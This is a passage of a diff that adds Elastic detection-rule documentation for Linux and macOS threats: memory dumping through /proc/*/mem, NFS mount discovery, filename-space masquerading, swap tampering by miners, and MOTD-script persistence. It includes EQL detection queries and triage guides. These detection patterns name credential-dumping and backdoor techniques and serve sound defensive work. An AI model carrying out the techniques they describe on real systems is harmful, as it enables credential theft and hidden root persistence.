+** Reference URL: https://attack.mitre.org/techniques/T1176/ +* Sub-technique: +** Name: Browser Extensions +** ID: T1176.001 +** Reference URL: https://attack.mitre.org/techniques/T1176/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Browser Session Hijacking +** ID: T1185 +** Reference URL: https://attack.mitre.org/techniques/T1185/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-manual-memory-dumping-via-proc-filesystem.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-manual-memory-dumping-via-proc-filesystem.asciidoc new file mode 100644 index 0000000000..2a3323e114 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-manual-memory-dumping-via-proc-filesystem.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-manual-memory-dumping-via-proc-filesystem]] +=== Manual Memory Dumping via Proc Filesystem + +This rule monitors for manual memory dumping via the proc filesystem. The proc filesystem in Linux provides a virtual filesystem that contains information about system processes and their memory mappings. Attackers may use this technique to dump the memory of a process, potentially extracting sensitive information such as credentials or encryption keys. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Manual Memory Dumping via Proc Filesystem* + + +The proc filesystem in Linux is a virtual interface providing detailed insights into system processes and their memory. Adversaries exploit this by manually dumping memory from processes to extract sensitive data like credentials. The detection rule identifies suspicious activities by monitoring process executions that access memory files within the proc directory, flagging potential credential access attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process name and command line that triggered the rule, focusing on processes like "cat", "grep", "tail", "less", "more", "egrep", or "fgrep" accessing "/proc/*/mem". +- Examine the process execution context, including the parent process and user account associated with the suspicious activity, to determine if the activity is expected or potentially malicious. +- Check the system logs and historical data for any previous occurrences of similar activities involving the same process names and command lines to assess if this is part of a pattern or anomaly. +- Investigate the user account's recent activities and permissions to determine if there are any signs of compromise or unauthorized access that could explain the memory dumping attempt. +- Analyze network traffic and connections from the host to identify any potential data exfiltration attempts or communications with known malicious IP addresses or domains. +- If necessary, isolate the affected system to prevent further potential data leakage and conduct a deeper forensic analysis to uncover any additional indicators of compromise. + + +*False positive analysis* + + +- System administrators or automated scripts may legitimately access the proc filesystem for monitoring or debugging purposes. To handle this, identify and whitelist known scripts or administrative tools that frequently access memory files. +- Security tools or monitoring solutions might access the proc filesystem as part of their regular operations. Review and exclude these processes from the rule to prevent unnecessary alerts. +- Developers or testers might use commands like cat or grep on proc files during application debugging. Establish a list of approved users or groups who are allowed to perform these actions and exclude their activities from triggering alerts. +- Backup or system maintenance processes could involve accessing proc files. Document these processes and create exceptions for them to avoid false positives. +- Regular system health checks might involve accessing memory files. Identify these checks and configure the rule to ignore them by specifying the associated process names or command patterns. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further unauthorized access or data exfiltration. Disconnect the network connection and disable remote access capabilities. +- Terminate any suspicious processes identified by the detection rule, specifically those accessing memory files within the proc directory using commands like "cat", "grep", "tail", "less", "more", "egrep", or "fgrep". +- Conduct a memory analysis on the isolated system to identify any extracted sensitive data, such as credentials or encryption keys, and assess the extent of the compromise. +- Change all potentially compromised credentials and encryption keys immediately, prioritizing those associated with critical systems and services. +- Review and enhance system logging and monitoring configurations to ensure comprehensive visibility into process activities, particularly those involving the proc filesystem. +- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional security controls, such as restricting access to the proc filesystem and employing application whitelisting, to prevent unauthorized memory dumping activities in the future. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("cat", "grep", "tail", "less", "more", "egrep", "fgrep") and process.command_line like "/proc/*/mem" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Proc Filesystem +** ID: T1003.007 +** Reference URL: https://attack.mitre.org/techniques/T1003/007/ +* Technique: +** Name: Exploitation for Credential Access +** ID: T1212 +** Reference URL: https://attack.mitre.org/techniques/T1212/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-manual-mount-discovery-via-etc-exports-or-etc-fstab.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-manual-mount-discovery-via-etc-exports-or-etc-fstab.asciidoc new file mode 100644 index 0000000000..f5119e1f89 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-manual-mount-discovery-via-etc-exports-or-etc-fstab.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-20-manual-mount-discovery-via-etc-exports-or-etc-fstab]] +=== Manual Mount Discovery via /etc/exports or /etc/fstab + +This rule detects manual mount discovery via the /etc/exports or /etc/fstab file on Linux systems. These files are used by NFS (Network File System) to define which directories are shared with remote hosts. Attackers may access this file to gather information about shared directories and potential targets for further exploitation. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Manual Mount Discovery via /etc/exports or /etc/fstab* + + +In Linux environments, the `/etc/exports` and `/etc/fstab` files are crucial for managing shared directories and mounting filesystems, respectively. Adversaries may exploit these files to identify shared resources and potential targets for lateral movement. The detection rule identifies suspicious processes accessing these files, using common command-line utilities, to flag potential reconnaissance activities by attackers. + + +*Possible investigation steps* + + +- Review the process details to identify the user account associated with the suspicious activity, focusing on the process.name and process.command_line fields. +- Examine the command line arguments in the process.command_line field to determine the specific actions taken and whether they align with legitimate administrative tasks. +- Check the process start time and correlate it with other system activities to identify any unusual patterns or sequences of events. +- Investigate the source IP address or hostname if the process was initiated remotely, to assess whether it is a known or trusted entity. +- Look for any other related alerts or logs around the same timeframe to identify potential lateral movement or further reconnaissance activities. +- Verify if the accessed directories in /etc/exports or /etc/fstab are critical or sensitive, and assess the potential impact of unauthorized access. + + +*False positive analysis* + + +- Routine system administration tasks may trigger alerts when administrators use command-line utilities to view or edit /etc/exports or /etc/fstab. To mitigate this, consider excluding processes executed by known administrator accounts or during scheduled maintenance windows. +- Automated scripts for system monitoring or configuration management might access these files regularly. Identify and whitelist these scripts by their process names or command-line patterns to reduce false positives. +- Backup operations often involve reading configuration files like /etc/exports or /etc/fstab. Exclude processes associated with backup software or services to prevent unnecessary alerts. +- Security tools or compliance checks may scan these files as part of their regular operations. Review and whitelist these tools based on their process names or command-line arguments to avoid false positives. +- Developers or testers might access these files in development environments for testing purposes. Consider excluding processes from development servers or specific user accounts associated with testing activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Conduct a thorough review of the `/etc/exports` and `/etc/fstab` files on the affected system to identify any unauthorized changes or suspicious entries. +- Revoke any unauthorized access to shared directories identified in the `/etc/exports` file and ensure that only trusted hosts have access. +- Reset credentials and review access permissions for users and services that have access to the affected system to prevent further unauthorized access. +- Monitor network traffic for any unusual activity originating from the affected system, focusing on connections to external IPs or unexpected internal hosts. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. +- Implement enhanced monitoring and logging for access to critical configuration files like `/etc/exports` and `/etc/fstab` to detect similar threats in the future. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("cat", "grep", "tail", "less", "more", "egrep", "fgrep", "awk") and +process.command_line like ("/etc/exports", "/etc/fstab") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Network Share Discovery +** ID: T1135 +** Reference URL: https://attack.mitre.org/techniques/T1135/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-masquerading-space-after-filename.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-masquerading-space-after-filename.asciidoc new file mode 100644 index 0000000000..a16d4ec0b6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-masquerading-space-after-filename.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-20-masquerading-space-after-filename]] +=== Masquerading Space After Filename + +This rules identifies a process created from an executable with a space appended to the end of the filename. This may indicate an attempt to masquerade a malicious file as benign to gain user execution. When a space is added to the end of certain files, the OS will execute the file according to it's true filetype instead of it's extension. Adversaries can hide a program's true filetype by changing the extension of the file. They can then add a space to the end of the name so that the OS automatically executes the file when it's double-clicked. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.picussecurity.com/resource/blog/picus-10-critical-mitre-attck-techniques-t1036-masquerading + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Masquerading Space After Filename* + + +In Linux and macOS environments, file execution is determined by the file's true type rather than its extension. Adversaries exploit this by appending a space to filenames, misleading users into executing malicious files disguised as benign. The detection rule identifies such anomalies by monitoring process creation events with filenames ending in a space, excluding known safe processes and paths, thus highlighting potential masquerading attempts. + + +*Possible investigation steps* + + +- Review the process creation event details to identify the full path and name of the executable with a space appended. This can help determine if the file is located in a suspicious or unusual directory. +- Check the process.parent.args field to understand the parent process that initiated the execution. This can provide context on whether the execution was part of a legitimate process chain or potentially malicious activity. +- Investigate the user account associated with the process creation event to determine if the account has a history of executing similar files or if it has been compromised. +- Examine the file's true type and hash to verify its legitimacy and check against known malicious file databases or threat intelligence sources. +- Look for any additional process events or network activity associated with the suspicious executable to identify potential lateral movement or data exfiltration attempts. +- Cross-reference the event with any recent alerts or incidents involving the same host or user to identify patterns or ongoing threats. + + +*False positive analysis* + + +- Processes like "ls", "find", "grep", and "xkbcomp" are known to be safe and can be excluded from triggering the rule by adding them to the exception list. +- Executables located in directories such as "/opt/nessus_agent/*", "/opt/gitlab/sv/gitlab-exporter/*", and "/tmp/ansible-admin/*" are typically non-threatening and should be excluded to prevent false positives. +- Parent processes with arguments like "./check_rubrik", "/usr/bin/check_mk_agent", "/etc/rubrik/start_stop_bootstrap.sh", and "/etc/rubrik/start_stop_agent.sh" are generally safe and can be added to the exclusion list to avoid unnecessary alerts. +- Regularly review and update the exception list to ensure that only verified safe processes and paths are excluded, maintaining the effectiveness of the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution or spread of the potentially malicious file. +- Terminate any suspicious processes identified by the detection rule to halt any ongoing malicious activity. +- Conduct a forensic analysis of the file with the appended space to determine its true file type and origin, using tools like file command or hex editors. +- Remove the malicious file from the system and any other locations it may have been copied to, ensuring complete eradication. +- Review and update endpoint protection settings to block execution of files with suspicious naming conventions, such as those ending with a space. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess potential impacts on other systems. +- Implement additional monitoring for similar masquerading attempts by enhancing logging and alerting mechanisms to detect files with unusual naming patterns. + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type:("linux","macos") and event.type == "start" and +process.executable regex~ """/[a-z0-9\s_\-\\./]+\s""" and not ( + process.name in ("ls", "find", "grep", "xkbcomp") or + process.executable like ("/opt/nessus_agent/*", "/opt/gitlab/sv/gitlab-exporter/*", "/tmp/ansible-admin/*") or + process.parent.args in ( + "./check_rubrik", "/usr/bin/check_mk_agent", "/etc/rubrik/start_stop_bootstrap.sh", "/etc/rubrik/start_stop_agent.sh" + ) or + process.args == "runc" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Space after Filename +** ID: T1036.006 +** Reference URL: https://attack.mitre.org/techniques/T1036/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-memory-swap-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-memory-swap-modification.asciidoc new file mode 100644 index 0000000000..f6e729e420 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-memory-swap-modification.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-20-memory-swap-modification]] +=== Memory Swap Modification + +This rule detects memory swap modification events on Linux systems. Memory swap modification can be used to manipulate the system's memory and potentially impact the system's performance. This behavior is commonly observed in malware that deploys miner software such as XMRig. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Memory Swap Modification* + + +Memory swap in Linux systems manages RAM by moving inactive pages to disk, freeing up memory for active processes. Adversaries exploit this by altering swap settings to degrade performance or deploy resource-intensive malware like cryptominers. The detection rule identifies suspicious activities by monitoring processes that modify swap settings or execute related commands, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process details to identify the parent process using the field process.parent.executable. This can help determine if the swap modification was initiated by a legitimate or suspicious parent process. +- Examine the command line arguments captured in process.command_line to understand the specific changes made to swap settings, such as modifications to vm.swappiness. +- Check the user account associated with the process to determine if the action was performed by a privileged or unauthorized user. +- Investigate any recent system performance issues or anomalies that could be linked to swap modifications, such as increased CPU or memory usage. +- Correlate the event with other security alerts or logs to identify if this activity is part of a larger pattern of suspicious behavior, such as the presence of cryptomining software like XMRig. +- Assess the system for any unauthorized software installations or configurations that could indicate a compromise, focusing on resource-intensive applications. + + +*False positive analysis* + + +- System administrators may frequently modify swap settings during routine maintenance or performance tuning. To handle this, create exceptions for known administrator accounts or specific maintenance scripts. +- Automated configuration management tools like Ansible or Puppet might execute commands that alter swap settings. Identify these tools and exclude their processes from triggering alerts. +- Some legitimate applications may adjust swap settings to optimize their performance. Monitor and whitelist these applications to prevent unnecessary alerts. +- Development environments often experiment with system settings, including swap configurations. Consider excluding processes from known development environments or specific user accounts associated with development activities. +- Scheduled tasks or cron jobs might include swap modification commands for system optimization. Review and whitelist these tasks if they are verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or impact of the potential malware. +- Terminate any suspicious processes identified by the detection rule, such as those involving "swapon", "swapoff", or unauthorized modifications to "vm.swappiness". +- Conduct a thorough scan of the isolated system using updated antivirus or anti-malware tools to identify and remove any malicious software, particularly cryptominers like XMRig. +- Review and restore swap settings to their default or secure configurations to ensure system stability and performance. +- Implement monitoring for any further unauthorized changes to swap settings or related processes to detect and respond to similar threats promptly. +- Escalate the incident to the security operations team for a detailed forensic analysis to understand the scope and origin of the attack. +- Update system and security patches to close any vulnerabilities that may have been exploited by the adversary. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. + +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +?process.parent.executable != null and +process.name in ("swapon", "swapoff") or ( + process.command_line like ("*vm.swappiness*", "*/proc/sys/vm/swappiness*") and ( + (process.name == "sysctl" and process.args like ("*-w*", "*--write*", "*=*")) or + ( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and + process.command_line like "*echo *" + ) + ) +) and +not ( + process.parent.name in ("lynis", "systemd", "end-zram-swapping", "SyxsenseResponder", "tuned", "platform-python", "timeout") or + ?process.parent.executable in ("/opt/puppetlabs/puppet/bin/ruby", "/u01/app/grid/perl/bin/perl") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Compute Hijacking +** ID: T1496.001 +** Reference URL: https://attack.mitre.org/techniques/T1496/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-message-of-the-day-motd-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-message-of-the-day-motd-file-creation.asciidoc new file mode 100644 index 0000000000..7b8d6466f9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-message-of-the-day-motd-file-creation.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-20-message-of-the-day-motd-file-creation]] +=== Message-of-the-Day (MOTD) File Creation + +This rule detects the creation of potentially malicious files within the default MOTD file directories. Message of the day (MOTD) is the message that is presented to the user when a user connects to a Linux server via SSH or a serial connection. Linux systems contain several default MOTD files located in the "/etc/update-motd.d/" directory. These scripts run as the root user every time a user connects over SSH or a serial connection. Adversaries may create malicious MOTD files that grant them persistence onto the target every time a user connects to the system by executing a backdoor script or command. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#10-boot-or-logon-initialization-scripts-motd +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 17 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Message-of-the-Day (MOTD) File Creation* + + +The message-of-the-day (MOTD) is used to display a customizable system-wide message or information to users upon login in Linux. + +Attackers can abuse message-of-the-day (motd) files to run scripts, commands or malicious software every time a user connects to a system over SSH or a serial connection, by creating a new file within the `/etc/update-motd.d/` directory. Executable files in these directories automatically run with root privileges. + +This rule identifies the creation of new files within the `/etc/update-motd.d/` directory. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the file that was created or modified. + - !{osquery{"label":"Osquery - Retrieve File Information","query":"SELECT * FROM file WHERE path = {{file.path}}"}} +- Investigate whether any other files in the `/etc/update-motd.d/` directory have been altered. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE path LIKE '/etc/update-motd.d/%'"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE path LIKE '/etc/update-motd.d/%'\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate whether the modified scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect 